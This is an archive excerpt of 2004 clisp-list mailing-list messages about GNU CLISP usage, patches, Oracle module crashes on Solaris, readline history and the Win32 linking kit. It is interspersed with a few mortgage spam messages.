interpretation, but the result is the same.

  I hope I have made my 'question' clearer than it was in
the initial post.

  Thanks.

Laurent.


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> * VAUCHER L Ext SIRES <yinhpure.rkg@senaprgryrpbz.pbz> [2004-06-30 16:07:56 +0200]:
>
>>"-i" means load an "init" lisp file and proceed to repl or script
>
> This is precisely not what I get.

the appended patch fixes the bug.

thanks!

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--- spvw.d	25 Jun 2004 15:30:51 -0400	1.302
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@@ -2129,6 +2129,7 @@
             argv_selection_array[argc-1- argv_expr_count++] = arg; break;
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MS-Windows system (with clisp on cygwin)?

I tried it with clisp-2.33.1.

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Is there a way to save an image on a Linux system to be used on a
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I tried it with clisp-2.33.1.


% /usr/bin/clisp -q -ansi --version
GNU CLISP 2.33.1 (2004-05-22) (built on winsteingoldlap [192.168.1.101])
Software: GNU C 3.3.1 (cygming special) ANSI C program
Features: 
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
 GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE
 BASE-CHAR=CHARACTER UNIX CYGWIN)
Installation directory: /usr/lib/clisp/
User language: ENGLISH
Machine: I586 (I586) triton.infomatimago.com [195.114.85.200]


$ ../clfit.app/bin/clisp  -q -ansi --version
GNU CLISP 2.33.2 (2004-06-02) (built 3297462804) (memory 3297463070)
Software: GNU C 3.3 20030226 (prerelease) (SuSE Linux) ANSI C program
Features: 
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
 GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN GETTEXT UNICODE BASE-CHAR=CHARACTER
 PC386 UNIX)
Installation directory: /home/pascal/xxxxxx/clfit.app/lib/clisp/
User language: ENGLISH
Machine: I686 (I686) thalassa.informatimago.com [62.93.174.79]


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-06-30 20:34:40 +0200]:
>
> Is there a way to save an image on a Linux system to be used on a
> MS-Windows system (with clisp on cygwin)?

no (and you can hardly expect it: memory image is really an image in
RAM, so it is highly non-portable, even between the same version of
CLISP on the same machine, when CLISP is built with different memory
models!)

For code, you can concatenate all your FAS files into one huge file and
(the same version of) CLISP will happily load it, on any platforms.

For data, you can use CLLIB:WRITE-TO-FILE and CLLIB:READ-FROM-FILE.

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Hi,

      I've done some changes to get clisp 2.33.2 working on IA64 and AXP.
The patch in the first attachment changes the ffcall to get it work
with IA64.  The patch in the second attachment implements the possiblity
to use --libdir at configure to get /usr/lib64 as libdir as mentioned
in the FHS and the patch also gives the possiblity to set MYCFLAGS for
_all_ compiles because for IA64 and AXP the MYCFLAGS has to be set to

   -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP

or otherwise some function calls will fail due wrong return values.
E.g. qix.lisp in the new-clx demos fails.

Now only s390x aka the 64bit version of s390 is missed in the list of
clisp compiles.

        Werner

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> * Dr. Werner Fink <jreare@fhfr.qr> [2004-07-01 12:20:02 +0200]:
>
> I've done some changes to get clisp 2.33.2 working on IA64 and AXP.
> The patch in the first attachment changes the ffcall to get it work
> with IA64.  The patch in the second attachment implements the
> possiblity to use --libdir at configure to get /usr/lib64 as libdir as
> mentioned in the FHS and the patch also gives the possiblity to set
> MYCFLAGS for _all_ compiles because for IA64 and AXP the MYCFLAGS has
> to be set to
>
>    -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP
>
> or otherwise some function calls will fail due wrong return values.
> E.g. qix.lisp in the new-clx demos fails.
>
> Now only s390x aka the 64bit version of s390 is missed in the list of
> clisp compiles.

great!  could you please send us the URL of your patches?
If they are small you can just append them to your message.
(If you insist on using attachments, please send them directly to Bruno)

Thanks!

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Date: Thu Jul  1 06:43:04 2004
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On Thu, Jul 01, 2004 at 08:56:01AM -0400, Sam Steingold wrote:
> > * Dr. Werner Fink <jreare@fhfr.qr> [2004-07-01 12:20:02 +0200]:
> >
> > I've done some changes to get clisp 2.33.2 working on IA64 and AXP.
> > The patch in the first attachment changes the ffcall to get it work
> > with IA64.  The patch in the second attachment implements the
> > possiblity to use --libdir at configure to get /usr/lib64 as libdir as
> > mentioned in the FHS and the patch also gives the possiblity to set
> > MYCFLAGS for _all_ compiles because for IA64 and AXP the MYCFLAGS has
> > to be set to
> >
> >    -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP
> >
> > or otherwise some function calls will fail due wrong return values.
> > E.g. qix.lisp in the new-clx demos fails.
> >
> > Now only s390x aka the 64bit version of s390 is missed in the list of
> > clisp compiles.
> 
> great!  could you please send us the URL of your patches?
> If they are small you can just append them to your message.
> (If you insist on using attachments, please send them directly to Bruno)

I've send a second message with the two patches enclosed as normal
text.  You'll find thme between the cutmarks `snip' and `snap' ;^)

Btw: What's wrong on attachments? Don't tell me that some virus are
send as attachments ... broken mailer which automatically expands
attachments shouldnt' be used anymore.

         Werner

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> * Dr. Werner Fink <jreare@fhfr.qr> [2004-07-01 15:42:28 +0200]:
>
> Btw: What's wrong on attachments?

lot's of spam uses it.
<http://clisp.cons.org/faq.html#rejected>

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Hi,
I sent you an email a few days ago, because you now qualify for a new mortgage.
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Bad credit is no problem, you can pull cash out or refinance.

Please click on this link:
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Best Regards,
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Hello,

I cannot get the oracle module to work in Solaris using clisp 2.33.2 
(in past releases I didn't manage to make it work neither).

The error message is not very helpful, and I cannot find in the 
documentation if I should expect it to work or not.

Any idea?

Regards,

Carlos

[1]> (oracle:connect *user* *pwd* *db*)
NIL
[2]> (oracle:run-sql "select count(*) from user_tables")
zsh: 21997 bus error (core dumped)  bin/clisp -K full




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 > I cannot get the oracle module to work in Solaris using clisp 2.33.2 
 > (in past releases I didn't manage to make it work neither).

Hi carlos ... well it has never been tested on Solaris.  But there's
not reason it should not work, but at the same also some possibility
that the Oracle module has a bug that triggers on Solaris but not
Linux (where I develped it).


 > The error message is not very helpful, and I cannot find in the 
 > documentation if I should expect it to work or not.
 > 
 > Any idea?
 > 
 > [1]> (oracle:connect *user* *pwd* *db*)
 > NIL
 > [2]> (oracle:run-sql "select count(*) from user_tables")
 > zsh: 21997 bus error (core dumped)  bin/clisp -K full

As it happens I have access to a Solaris box w/ Oracle now, so I can
try to compile CLISP w/ Oracle on it and see what happens.  If I can
reproduce the bug I'll fix, else I may get back to you for a test
case.

BTW this would also be helpful:
	- Does it crash when you connect and do this query:
		"SELECT 'x' FROM dual"
	- output of "uname -a"
	- output of "sqlplus -v"
	- Oracle version of your server (what appears after
          "Connected to:" banner when you connect w/ SQL*Plus
	- what compiler (gcc or Sun's) you are using

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Hello John,

I'm using the 8.1.7 libraries, and the database is
"Oracle8i Enterprise Edition Release 8.1.7.4.0" 

The machine where clisp is compiled (the database is elsewhere) is  
"SunOS 5.8 Generic_108528-22 sun4u sparc SUNW,Ultra-4"

I've compiled it with gcc, trying to do so with cc gives this error:

./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW 
-x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
(....clisp banner....)
*** - SVREF: index 29360132 for #(COMPILEDP NIL MY-OPEN NIL BAD NIL 
CHECK-COMPILED-FILE NIL NIL) is not of type `(INTEGER 0 (,ARRAY-DIMENSION-LIMIT))
Bye.

Thanks for your interest. I've already used your module in Linux, to 
create some reports, and now I would like to use it in cgi script in 
the Solaris box.

Regards,

Carlos


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 > I've compiled it with gcc, trying to do so with cc gives this error:

i'm not surprised.  you should use gcc anyway; ;)
one more thing: what is output of gcc -v

My Solaris box has 2.95.2 and I'm not sure that will copmile CLISP
anymore (sam?) ... so if I'm going to get a new one I may as well
get the same one your'e using to debug this ..

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Date: Wed Jul  7 07:03:12 2004
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Hello

>  > I've compiled it with gcc, trying to do so with cc gives this error:
> 
> i'm not surprised.  you should use gcc anyway; ;)
> one more thing: what is output of gcc -v

gcc 3.3.2, but I have some other versions available if this helps.

Cheers,

Carlos


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I have this form in a file called bsx-common.lisp. It runs on a win32 
machine and is supposed to make sure the line endings are in 0x0d0x0a format 
(ie dos/windows line endings). I generally call this form like this: 

(mapcar #'(lambda (file) (crlf file)) (directory "*.txt")) 

(defun crlf (file)
 (let ((crlf-name (format nil "~a.crlf" file))
	(out nil)
	(in nil))
   (setf out (open crlf-name :direction :output :if-exists :supersede))
   (with-open-file (in file :direction :input)
     (do ((line (read-line in) (read-line in nil 'eof)))
	  ((eq line 'eof) "Done.")
	(format out "~a~%" line)))
   (close out)
   (move-file crlf-file file))) 

when I run 'clisp -q -c bsx-common.lisp' I get the following output: 

Compiling file H:\bsxruby\bsx-common.lisp ...
WARNING in CRLF in lines 48..58 :
CRLF-FILE is neither declared nor bound,
it will be treated as if it were declared SPECIAL.
WARNING in CRLF in lines 48..58 :
variable IN is not used.
Misspelled or missing IGNORE declaration? 

Wrote file H:\bsxruby\bsx-common.fas
The following special variables were not defined:
CRLF-FILE
0 errors, 2 warnings 

I don't understand how this warning is coming about since the CRLF-FILE 
variable is defined in the LET and should also be bound there (maybe I'm 
using wrong terminology here...) (I'm not worried about the unused variable 
IN since originally it wasn't there but I was trying stuff out to figure out 
the other issue with CRLF-FILE). 

Any help or advice or pointers to rtfm would be appreciated. 

Jeff


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>  (let ((crlf-name (format nil "~a.crlf" file))

> CRLF-FILE variable is defined in the LET

> Any help or advice or pointers to rtfm would be appreciated. 
Try to get some sleep and then, take a look to your code again ;)

-- 
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hmm... the sleep suggestion was a good one. I hate it when I make that kind 
of mistake. 

Sorry for the noise on the list. 

Jeff 

Arseny Slobodjuck writes: 

> 
>>  (let ((crlf-name (format nil "~a.crlf" file))
> 
>> CRLF-FILE variable is defined in the LET
> 
>> Any help or advice or pointers to rtfm would be appreciated. 
> Try to get some sleep and then, take a look to your code again ;) 
> 
> -- 
> Best regards,
>  Arseny     
> 
> 
 



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Date: Sat Jul 10 21:30:02 2004
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Hi,
I sent you an email a few days ago, because you now qualify for a new mortgage.
You could get $300,000 for as little as $700 a month!
Bad credit is no problem, you can pull cash out or refinance.

Please click on this link:
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Best Regards,
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--- Sam Steingold <sds@gnu.org> wrote:
> > * Elvin Peterson <ryiva_crgrefba@lnubb.pbz>
> [2004-06-28 08:00:30 -0700]:
> >
> > What would be great is if I can access the
> commands executed in the
> > previous clisp session with up-arrow or M-p.
> 
> note that when CLISP is running under Emacs,
> readline is not used.
> if you want to remember CLISP commands when CLISP is
> run in a shell,
> you need to modify CLISP to call write_history() and
> read_history().
> if you want to do it in Emacs, you need to add some
> comint-add-to-input-history calls to
> inferior-list-mode-hook and also
> write the commands when you leave Emacs.

The readline library _is_ used when running under
SLIME in Emacs, which is what I am using now.  Adding
the history calls looks like a straightforward job,
but I can't figure out the file it is defined in
(stream.d, written in some mixed language).


	
		
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Hi,
I sent you an email a few days ago, because you now qualify for a new mortgage.
You could get $300,000 for as little as $700 a month!
Bad credit is no problem, you can pull cash out or refinance.

Please click on this link:
http://www.lending-now.com/h7/li.php?bks=71

Best Regards,
Roman


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I thought to try to make a screen using the screen package. The 
documentation says to use ext:with-keyboard for input. I'm trying to write a 
simple menu system with the following code: 

(setf *main-win* (screen:make-window))
(setf *cust-name* "CST")
(setf menu-x 20)
(screen:clear-window *main-win*)
(screen:set-window-cursor-position *main-win* 0 31)
(format *main-win* "M A I N   M E N U")
(screen:set-window-cursor-position *main-win* 1 38)
(format *main-win* "~a" *cust-name*)
(screen:set-window-cursor-position *main-win* 3 menu-x)
(format *main-win* "1. Add traffic source")
(screen:set-window-cursor-position *main-win* 4 menu-x)
(format *main-win* "2. Remove traffic source")
(screen:set-window-cursor-position *main-win* 5 menu-x)
(format *main-win* "3. Toggle bill cycle process flag")
(screen:set-window-cursor-position *main-win* 6 menu-x)
(format *main-win* "4. Toggle customer has traffic flag [~a]" "true") 

(do () (nil)
 (ext:with-keyboard .
   (cond ((string= "q" (read ext:*keyboard-input*))
	   (return))
	  ((string= "Q" (read ext:*keyboard-input*))
	   (return))))) 

however, I'm getting the error:
*** - SYSTEM::%EXPAND-FORM: (STRING= "q" (READ *KEYBOARD-INPUT*)) should be 
a lambda expression 

Can someone help me out with how this should be coded or maybe some 
documentation to read?  (I've been using 
http://clisp.cons.org/impnotes/terminal.html and 
http://clisp.cons.org/impnotes/screen.html for reference) 

Thanks,
 -- Jeff 



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> *  <jbyswo@ovtsbbg.pbz> [2004-07-12 16:32:31 -0500]:
>
>  (ext:with-keyboard .
>    (cond ((string= "q" (read ext:*keyboard-input*))
> 	   (return))
> 	  ((string= "Q" (read ext:*keyboard-input*))
> 	   (return))))) 

try

  (ext:with-keyboard
    (cond ((string= "q" (read ext:*keyboard-input*))
 	   (return))
 	  ((string= "Q" (read ext:*keyboard-input*))
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--- Sam Steingold <sds@gnu.org> wrote:
> > * Elvin Peterson <ryiva_crgrefba@lnubb.pbz>
> [2004-07-11 09:42:12 -0700]:
> >
> > Adding the history calls looks like a
> straightforward job, but I can't
> > figure out the file it is defined in
> and appropriate calls to read_history() to
> stream.d:init_streamvars()

14441c14441,14442
<   # rl_readline_name = "CLisp";
---
>   rl_readline_name = "CLisp";
>   read_history(NULL);

> and to write_history() to spvw.d:quit().

25a26,30
> #ifdef GNU_READLINE
>   #include <readline/readline.h>
>   #include <readline/history.h>
> #endif
>
3090a3096,3098
>  #ifdef GNU_READLINE
>   write_history(NULL);
>  #endif


		
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> * Elvin Peterson <ryiva_crgrefba@lnubb.pbz> [2004-07-12 18:10:48 -0700]:
>
> --- Sam Steingold <sds@gnu.org> wrote:
>> > * Elvin Peterson <ryiva_crgrefba@lnubb.pbz>
>> [2004-07-11 09:42:12 -0700]:
>> >
>> > Adding the history calls looks like a
>> straightforward job, but I can't
>> > figure out the file it is defined in
>> and appropriate calls to read_history() to
>> stream.d:init_streamvars()
>
> 14441c14441,14442
> <   # rl_readline_name = "CLisp";
> ---
>>   rl_readline_name = "CLisp";
>>   read_history(NULL);
>
>> and to write_history() to spvw.d:quit().
>
> 25a26,30
>> #ifdef GNU_READLINE
>>   #include <readline/readline.h>
>>   #include <readline/history.h>
>> #endif
>>
> 3090a3096,3098
>>  #ifdef GNU_READLINE
>>   write_history(NULL);
>>  #endif

1. all diffs should be "-u" (unified context)

2. the above does not allow the user to disable history saving and to
   specify the file where the history is to be saved.

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 > I'm using the 8.1.7 libraries, and the database is
 > "Oracle8i Enterprise Edition Release 8.1.7.4.0" 
 > 
 > The machine where clisp is compiled (the database is elsewhere) is  
 > "SunOS 5.8 Generic_108528-22 sun4u sparc SUNW,Ultra-4"

Carlos, I've done some bug fixes for Oracle module that may or may not
help you get the error message that will tell you what it wrong w/
your CLISP oracle client under Solaris.  They'r checked into CVS so if
you are using a CVS working copy, just "cvs update" it, else you can
retrieve a snapshot of just the oracle module at

    http://clisp.alma.com/clisp-oracle-2004-07-13.tar.gz

and unpack it into your source directory (it will expand as
modules/oracle/*) and recompile CLISP.

The bug fixes concern errors that occur while setting up the Oracle
runtime environment, but as I recall your crash came after that, so
there may be some other problem.  I'm still trying to get to that
point w/ my copy CLISP under Solaris.  Will keep you posted.

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Sam Steingold writes: 

>> *  <jbyswo@ovtsbbg.pbz> [2004-07-12 16:32:31 -0500]: 
>>
>>  (ext:with-keyboard .
>>    (cond ((string= "q" (read ext:*keyboard-input*))
>> 	   (return))
>> 	  ((string= "Q" (read ext:*keyboard-input*))
>> 	   (return))))) 
> 
> try 
> 
>   (ext:with-keyboard
>     (cond ((string= "q" (read ext:*keyboard-input*))
>  	   (return))
>  	  ((string= "Q" (read ext:*keyboard-input*))
>  	   (return)))) 
> 
>  
> 
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> 

I have changed the code to this: 


(ext:with-keyboard
   (cond ((char= #\q (read-char ext:*keyboard-input*))
	   (return))
	  ((char= #\Q (read-char ext:*keyboard-input*))
	   (return)))) 

Which doesn't really work either since (read-char ext:*keyboard-input*) 
returns this: 

#S(SYSTEM::INPUT-CHARACTER :CHAR #\q :BITS 0 :FONT 0 :KEY NIL) 

which I don't know how to parse correctly. It looks like I should be able to 
query the response to get the :CHAR out, but I can't find anything in the 
documentation that tells me how to do that. There are methods to get the 
bits and the font, but not the char or the key as far as I can tell. Perhaps 
I'm not reading the part of the documentation? 

Can anyone direct me/teach me the right right thing to do here? 

Thanks for all the help! It is much appreciated. :) 

Jeff 




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> *  <jbyswo@ovtsbbg.pbz> [2004-07-13 16:14:25 -0500]:
>
> (ext:with-keyboard
>    (cond ((char= #\q (read-char ext:*keyboard-input*))
> 	   (return))
> 	  ((char= #\Q (read-char ext:*keyboard-input*))
> 	   (return)))) 
>
> Which doesn't really work either since (read-char ext:*keyboard-input*)
> returns this: 
>
> #S(SYSTEM::INPUT-CHARACTER :CHAR #\q :BITS 0 :FONT 0 :KEY NIL) 
>
> which I don't know how to parse correctly. It looks like I should be
> able to query the response to get the :CHAR out, but I can't find
> anything in the documentation that tells me how to do that. There are
> methods to get the bits and the font, but not the char or the key as
> far as I can tell. Perhaps I'm not reading the part of the
> documentation?

SYS::INPUT-CHARACTER-CHAR will definitely get you #\q out of the
SYSTEM::INPUT-CHARACTER struct.

I am not sure why it (or something similat) is not exported.
(I would think that #'CHARACTER would coerce a SYSTEM::INPUT-CHARACTER
to a CHARACTER by taking the :CHAR slot).

Same for the :KEY.

Bruno?

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Hi,

Edi Weitz wrote:
>IIRC this thread started with a discussion of problems of the current
>approach (using a C library). These issues would be moot with a Lisp
>library. And, as I said, it'd be good for Lisp marketing-wise if it
>didn't have to rely on other programming languages to do the "real
>work."

I second that. People have been asking during years for Lisp libraries, not for FFI bindings. Look how people in cll these days enjoy Ltk instead of TK-bindings via some FFI.

>the results above already show that PCRE is usually faster than
>CL-PPCRE. My point was that a regex engine written in Lisp will be
>fast enough in almost all cases you can imagine and it's portable
>between different target platforms by definition.

Using CL-PPCRE is good in portable code especially since IIRC CL-PPCRE exhibits good performance on Lisp implementations that compile to native code.

Maybe you could make CL-PPCRE look better in comparison by taking advantage of the fact that the PCRE interface has to convert strings (to UTF8), while the Lisp-only CL-PPCRE does not. I.e. PCRE may become slower with longer inputs.

The regexp module becomes abysmally slow when passing large strings via the FFI (which the pcre module avoids, because it's not FFI).

BTW, I see in the code
http://cvs.sourceforge.net/viewcvs.py/clisp/clisp/modules/pcre/cpcre.c?rev=1.18&view=auto
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It should become exported. It's very practical for modules.

Regards,
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Hello John,

On Tue, 13 Jul 2004, John K. Hinsdale wrote:
> Carlos, I've done some bug fixes for Oracle module that may or may not
> help you get the error message that will tell you what it wrong w/
> your CLISP oracle client under Solaris.

Unfortunately my clisp crashes the same. I append at the end the stack 
trace in the core.

It's the first time I analyse a core, so it's not very meaningful to 
me, but I hope it's useful.

Carlos


=>[1] strcat(0x1eb100, 0xffd3e208, 0x0, 0x0, 0xffd3e208, 0x217e7c), at 
0xfe8cf21c
  [2] exec_sql(0x1e4288, 0xffbee208, 0xffbee22c, 0x0, 0xffbee2d0, 0xfe911a90), at 0x22478
  [3] __builtin_avcall(0xffbee270, 0x19efb1, 0x4, 0xffbee1f8, 0x4, 0xffbee2a8), at 0xf67cc
  [4] C_foreign_call_out(0x19efb1, 0x1a426c, 0x1a427c, 0x1, 0x4, 0x7), at 0xf2bec
  [5] funcall_subr(0x194062, 0x1a0800, 0x19cb1889, 0x1a2400, 0x19cb1820, 0x19cb1820), at 0x39340
  [6] interpret_bytecode_(0x19cb1889, 0x19cb1820, 0x19cb1832, 0x1a2400, 0x1a2400, 0xffbee8d8), at 0x3fb50
  [7] eval_closure(0x19cb1889, 0x666b6beb, 0x1a1d08, 0x1a1c00, 0x1940e9, 0x1a4254), at 0x36060
  [8] eval(0x666b6beb, 0x195000, 0x19c722a0, 0x19d378, 0x199c58, 0x199c74), at 0x346f0
  [9] C_read_eval_print(0x19c72359, 0x19c722a0, 0x19c722b2, 0x0, 0x390f0, 0xffbeea70), at 0xb6ca8
  [10] funcall_subr(0x18e382, 0x1a0800, 0x19cbb9f1, 0x1a2400, 0xc0, 0x19c77200), at 0x3904c
  [11] interpret_bytecode_(0x19cbb9f1, 0x19c77200, 0x21, 0x1a1d04, 0x39948, 0xffbeec78), at 0x3f9bc
  [12] funcall_closure(0x19cbb9f1, 0x0, 0x0, 0x19cbba30, 0x1a422c, 0xac000000), at 0x397f0
  [13] C_driver(0x3f8d4, 0x1a2400, 0x0, 0x19c771a8, 0x18e180, 0xffffffff), at 0x466c0
  [14] interpret_bytecode_(0x19c77281, 0x19c771a8, 0x19c771ba, 0x0, 0x39948, 0xffbeef18), at 0x3f924
  [15] funcall_closure(0x19c77281, 0x0, 0x19cb7009, 0x19bf88c8, 0xd8, 0x1a4210), at 0x397f0
  [16] interpret_bytecode_(0x19cb7009, 0x19bf88c8, 0x19bf88da, 0x0, 0x39948, 0xffbef0d8), at 0x3f5bc
  [17] funcall_closure(0x19cb7009, 0x0, 0x0, 0x0, 0x1a0800, 0x1a2400), at 0x397f0
  [18] driver(0x0, 0x2, 0x19bc0d89, 0x9, 0x18cc00, 0x0), at 0xb6f1c
  [19] main(0x1a4200, 0x40000, 0xffbef404, 0x1a1d04, 0x0, 0x0), at 0x2d514


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 > Unfortunately my clisp crashes the same.

hi Carlos,
Yes, not surprised; I hadn't yet fixed the source of the problem, just
the bugs in the error messaging which were not the cause.

Today I've just checked in some fixes that, at least on my
installation and database, at last give me the first known working
Oracle-enabled CLISP under Solaris; most of my apps seems to work
fine.  There were bugs, present only on Solaris that had to do with
very obscure calling requirements of Oracle's OCI layer.

You can take these latest fixes and try them:
	http://clisp.alma.com/clisp-oracle-2004-07-14.tar.gz
and see what happens.  However ...

 > I append at the end the stack  trace in the core.

From your stack trace, I see you're probably experiencing yet a
different issue that what I just fixed; it would probably occur when
doing SELECTs with Oracle bind parameters of large size: my error
message buffer overflows (how emabarrasing).

What would be really helpful to me is for you to take my latest fix
above try just to do the simplest possible query, e.g.:

	SELECT 'x' AS mycol FROM dual

and see if you can at least get Oracle to execute and retrieve
something very trivial.

If it turns out that the trivial query works, but your "real" query is
triggering the error buffer issue I'm thinking it is, I can have a fix
for that soon, as I understand exactly what that problem is.

bug if you could try trival query that would be great as it would
eliminate most of the other theories.

Thanks for all your help!  All these bugs are in fact bugs under Linux
as well; they don't trigger due to diffs in Intel vs. Sparc I suspect.

---
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 > From your stack trace, I see you're probably experiencing yet a
 > different issue that what I just fixed; it would probably occur when
 > doing SELECTs with Oracle bind parameters of large size: my error
 > message buffer overflows (how emabarrasing).

Assuming my theory is correct (& I was able to trigger bugs w/ big
bind parameter values on my own site) this should be fixed now in CVS,
too.  Huge param values will now get truncated for display (but it
will still tell you the overall length to deal with Oracle "too large
for column" errors.

Carlos, you can take it from
  http://clisp.alma.com/clisp-oracle-2004-07-14a.tar.gz
(note the "a").  This time I hope you will be happy.

I think at this point I can now say there is a reasonably tested
CLISP+Oracle running under Solaris, at least for Oracle 8.  That's
great, since Solaris is a major platform for Oracle, esp. with very
the large installations; I'll probably end up using it myself.

---
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Hi John,

I've just completed the compilation of clisp [*] with the previous 
version, and it seems to work fine (I've just done a couple of 
queries, though).

I will now install and use the new version, and I'll let you know if 
something goes wrong (but I plan to use it only for light-weight 
reporting, so I don't expect to discover new bugs).

Thanks a lot for the patches.

Cheers,

Carlos


[*] I guess I could compile only the oracle module, but starting from 
scratch each time I'm sure I'm doing it right


On Wed, 14 Jul 2004, John K. Hinsdale wrote:

> 
>  > From your stack trace, I see you're probably experiencing yet a
>  > different issue that what I just fixed; it would probably occur when
>  > doing SELECTs with Oracle bind parameters of large size: my error
>  > message buffer overflows (how emabarrasing).
> 
> Assuming my theory is correct (& I was able to trigger bugs w/ big
> bind parameter values on my own site) this should be fixed now in CVS,
> too.  Huge param values will now get truncated for display (but it
> will still tell you the overall length to deal with Oracle "too large
> for column" errors.
> 
> Carlos, you can take it from
>   http://clisp.alma.com/clisp-oracle-2004-07-14a.tar.gz
> (note the "a").  This time I hope you will be happy.
> 
> I think at this point I can now say there is a reasonably tested
> CLISP+Oracle running under Solaris, at least for Oracle 8.  That's
> great, since Solaris is a major platform for Oracle, esp. with very
> the large installations; I'll probably end up using it myself.
> 
> ---
> John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA
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> 


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 > I've just completed the compilation of clisp [*] with the previous
 > version, and it seems to work fine (I've just done a couple of
 > queries, though).

Most excellent ...

 > I will now install and use the new version, and I'll let you know if 
 > something goes wrong (but I plan to use it only for light-weight 
 > reporting, so I don't expect to discover new bugs).

I'm still a touch curious if you were executing some SQL while using
Oracle bind parameters with very long values, but if not don't worry
about it.


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> * Carlos Ungil <Pneybf.Hatvy@prea.pu> [2004-07-14 16:06:35 +0200]:
>
> I guess I could compile only the oracle module, but starting from 
> scratch each time I'm sure I'm doing it right

All you need to do is type "make" in your build directory.
base CLISP will _not_ be recompiled,
but the full linking set _will_ be re-linked.

Unfortunately, untarring the new module will break the hard links, so,
to restore them, you will need to do:

$ cd build
$ rm -rf oracle
$ make


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  Hi.

  I discovered and practiced a little the clisp linking kit supplied
with the Linux and Cygwin distributions of clisp and I wondered
whether it was available for the native Win32 distribution of clisp.
The :FFI feature is present, however.

  There is no 'clisp-link' script and no 'linkkit' directory in the
clisp installation directory. So it seems that the linking kit is,
at least, not shipped in the zip file.

  Is it somewhere else (in the distribution or on the net)? Or should
I try to duplicate the functionality by adapting the existing cygwin
script to use files in the right directory and compile with
-mno-cygwin?

  Thanks again.


Laurent.


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> * VAUCHER L Ext SIRES <yinhpure.rkg@senaprgryrpbz.pbz> [2004-07-15 16:14:59 +0200]:
>
>   I discovered and practiced a little the clisp linking kit supplied
> with the Linux and Cygwin distributions of clisp and I wondered
> whether it was available for the native Win32 distribution of clisp.

clisp binary distribution does not include the linkkit because it
requires a C compiler and win32 does not come with one by default.
it also requires a UNIX-like set of shell utilities which are not
normally available on win32.
since this is no longer the case (mingw, cygwin &c), the next CLISP
release will include linkkit for win32.

you can get CLISP sources and build your own clisp and then you will
find the linkkit in the build directory.


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Subject: [clisp-list] Archeology: PCPLUS
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Date: Sun Jul 18 00:43:02 2004
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Hi all,

A bit of archeology...

I am looking for the specifications or/and the scheme source code for Personal
Consultant
expert system shell from Texas Instruments.

This software has been discontinued long time ago by TI. I am trying to
actualize some expert systems I designed when I was working for TI and after.

I have not kept any documentation for this software and the binary version can
be executed only on very old dos versions.

I am redesigning pclus by now with clisp

It would really help me if i could find a user's guide, a reference manual, or
someone having the scheme sources, or find a way to put an hand on them

Thanks in advance

Jacques


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Date: Sun Jul 18 05:45:01 2004
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Pascal Bourguignon wrote:
> the source of clisp should be edited to add this feature
> at the readline level.  One problem of this, is that we often have
> several bash or clisp sessions running at the same time, and the
> history saving overwrites all but the last saved history.

This would be a bug in the implementation of history handling. You can do
better. Here is how to achieve that
  - the saved history consists of the input that have been terminated up to
    a given point,
  - the history in a particular session is not influenced by input that
    is occurring in other sessions at the same time, or by other sessions
    terminate.

Namely:
  - When the session starts, read the history from the file into an in-memory
    buffer1.
    Clear an in-memory buffer2.
  - Let readline operations see the concatenation of buffer1 and buffer2. I.e.,
    new lines are added at the end of buffer2, but history searching considers
    both buffer1 and buffer2.
  - When you need to write the history (e.g. when the session ends), read the
    history from the file again into buffer3. Then save buffer3 + buffer2 into
    the file immediately, and forget about buffer3 again.

Bruno



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> SYS::INPUT-CHARACTER-CHAR will definitely get you #\q out of the
> SYSTEM::INPUT-CHARACTER struct.

> I am not sure why it (or something similar) is not exported.

This code (xcharin.lisp) is meant to 1. provide backward compatibility for
CLtL1 programs, 2. accomodate the notion of "keyboard event" into something
that resembles a character.

Probably these two things should be separated. Or the CLtL1 be removed
entirely.

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> * Bruno Haible <oehab@pyvfc.bet> [2004-07-18 14:47:00 +0200]:
>
> This code (xcharin.lisp) is meant to 1. provide backward compatibility
> for CLtL1 programs, 2. accomodate the notion of "keyboard event" into
> something that resembles a character.

IMO:

CLtL1 should be kept only as a side-effect of other code,
when it offers some standard (= known) function names.

keyboard events are nice to have, but they (and SCREEN) should be
discarded in favor of CLIM (or CLIM is built on top of them).


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> * Bruno Haible <oehab@pyvfc.bet> [2004-07-18 14:33:02 +0200]:
>
>   - When the session starts, read the history from the file into an in-memory
>     buffer1.
>     Clear an in-memory buffer2.
>   - Let readline operations see the concatenation of buffer1 and buffer2. I.e.,
>     new lines are added at the end of buffer2, but history searching considers
>     both buffer1 and buffer2.
>   - When you need to write the history (e.g. when the session ends), read the
>     history from the file again into buffer3. Then save buffer3 + buffer2 into
>     the file immediately, and forget about buffer3 again.

readline library already offers functions for this.
See <http://article.gmane.org/gmane.lisp.clisp.general:8603>.
Specifically:

CUSTOM:*HISTORY-FILE* - pathname designator or NIL (disable).
  history should be read _after_ ~/.clisprc so that it can be enabled
  or disabled from there.  defaults to ~/.clisp_history or NIL (vote)

CUSTOM:*HISTORY-FILE-TRUNCATE* - positive integer or NIL (disable)
  default to 500 (like bash)

(EXT:READ-HISTORY file &key (start 0) (end nil))
  call read_history_range()

(EXT:WRITE-HISTORY file &key (append t) (truncate nil))
  call either write_history() or append_history(),
  then, optionally, history_truncate_file()
  (maybe :TRUNCATE should default to CUSTOM:*HISTORY-FILE-TRUNCATE*?)

I hope Elvin Peterson, the original requester, will do this.

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Hi,

I'd like to clarify something about Andreas Thiele's failed attempts at =
getting his .dll to run.

He explained to me that he suspects what I'd call a "design bug", which =
I believe must cause crashes in CLISP: his .dll creates a thread which =
would callback into Lisp.

I don't know what CLISP-win32 does, but doing so would definitely crash =
the Amiga. A callback should only occur from the same thread.
1. The second thread is likely to see bad register variables (e.g. =
STACK) and crash. Even if it does not,
2. In effect, two threads would be working concurrently on the CLISP =
heap and STACK, which is a guarantee for a crash.
